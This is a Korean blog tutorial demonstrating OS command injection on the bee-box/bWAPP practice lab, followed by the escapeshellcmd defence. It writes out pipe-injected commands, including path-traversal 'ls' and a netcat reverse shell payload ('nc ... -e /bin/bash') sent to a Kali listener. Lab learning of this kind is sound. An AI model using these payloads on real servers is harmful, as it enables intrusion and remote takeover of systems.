일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 보안뉴스한줄요약
- 자바스크립트 prototype
- python
- 오라클
- 카카오프로젝트100
- 랜섬웨어
- 다크웹
- 자바스크립트 element api
- 자바스크립트 기본 문법
- 깃허브
- Oracle SQL
- 자바스크립트
- 보안뉴스요약
- GIT
- 자바스크립트 객체
- 카카오프로젝트
- 자바스크립트 jQuery
- javascript
- oracle db
- 보안뉴스 한줄요약
- 보안뉴스 요약
- ES6
- oracle
- 자바스크립트 API
- php
- 파이썬
- 보안뉴스
- 자바스크립트 node
- 카카오프로젝트 100
- numpy
- Today
- Total
FU11M00N
4-1. bee-box 를 사용하여 OS Command Injection 알아보기 본문
OS 커맨드 인젝션(OS command injection)은 취약한 변수로 시스템 명령어를 주입하여 서버 운영체제에 접근하는 공격입니다!
OS 커맨드 인젝션의 공격 원리는 사진 1-1과 같습니다.
공격자가 서버에 악성코드를 심어놓으면 서버는 그 악성코드를 출력하는 형태입니다.
1. 레벨 low
commandi.php의 사이트는 입력한 주소의 DNS 주소를 출력하는 것입니다.
DNS를 조회할 때에는 nslookup 명령어가 사용되며
|(파이프 라인)을 사용하여 ls를 하면 파일들이 모두 출력됩니다!!.
여기서 |(파이프 라인) 은 앞에서 실행한 명령어 출력 결과를 뒤에서 실행하는 명령어 입력값으로 처리합니다!
그러하여 리눅스의 명령어 특징을 사용하여
| ls../../../ 이런식으로 상대 경로를 사용하여 가장 최상위 파일을 출력해보도록 하겠습니다.
여기서 상대 경로란 ". " 은 현재 디렉터리를 가리키는 것이고 ".. " 은 상위 디렉터리를 가리키는 것입니다.
저는 | ls../../../../../../../../ 사진과 같이../ 를 많이 입력하였는데 최상위 디렉터리에 도달하기 위해 얼마나 가야 할지 모를 때는 저런 식으로../ 를 많이 입력하면 좋습니다.(3개로 최상위가나 10개로 최상위로 가나 똑같기 때문!)
그럼 넷캣을 활용하여 비박스의 서버 내부 정보를 외부에서 파악할 수 있는지 실현해보겠습니다.
우선 칼리 리눅스를 들어가서
사진 1-5처럼 nc -l -p 2020을 입력합니다. -l의 의미는 listen 모드로 nc를 띠우게 됩니다. 주로 nc(netcat)을 서버로 이용할 때 사용합니다. -p의 의미는 local-port를 지정하는 것입니다 주로 -l과 함께 사용되며 포트 2020은 임의로 제가 정한 포트 번호입니다!
그 후 bWAPP에 들어가서
| nc 192.168.32.129 2020 -e /bin/bash를 사진과 같이 입력합니다 여기서 하나하나 해석해보자면
(192.168.32.129 = 칼리 리눅스의 IP주소, 2020 = 칼리 리눅스에서 입력한 포트번호, -e "/bin/bash" = 원격 접속하였을 때 실행할 디렉터리)입니다.
그 후 칼리 리눅스에 들어가
사진 1-7 , 사진 1-8과 같이 bWAPP 서버 내부에 접속하여 내부 파일을 볼 수 있습니다.
2. 레벨 High(대응방안)
난이도 상에서는
| nc 192.168.32.129 2020 -e /bin/bash 명령어를 입력하여도 아무런 반응이 없습니다..
commandi.php 페이지의 소스코드를 보겠습니다!
commandi.php 는 지금껏 해왔던 시큐어 코딩과는 다르게 commandi_check_2 함수를 사용하여 입력값을 우회하고 있는데요,
commandi_check_2 함수는 functions_external.php 에 정의되어있고
escapeshellcmd 함수를 사용하고 있습니다. escapeshellcmd는 시스템 셸로 실행할 수 있는 특수 문자에 백 슬래시를 붙여 명령을 실행할 수 없도록 방어합니다. 사용하는 우회 문자는 #, & , l , ' , * 등이 내포되어있습니다.
서버에선 시스템 명령어를 외부에서 사용하지 못하도록 하는 게 가장 좋겠지만
어쩔 수 없는 상활일 땐 꼭 필요한 명령어를 제외한 & , ; , | 문자를 우회해야 합니다.
Reference by 비박스 환경을 활용한 웹 모의해킹 완벽실습
'Web Hacking > bee-box' 카테고리의 다른 글
6-1. bee-box 를 사용하여 SSI Code injection 알아보기! (0) | 2020.03.19 |
---|---|
5-1. bee-box 를 사용하여 PHP Code injection 알아보기! (0) | 2020.03.19 |
3-1. bee-box 를 사용하여 iframe Injection 공격 알아보기 (0) | 2020.03.18 |
2-3. bee-box 를 사용하여 HTML Injection 알아보기 (0) | 2020.03.16 |
2-2. bee-box 를 사용하여 HTML Injection 알아보기! (0) | 2020.03.16 |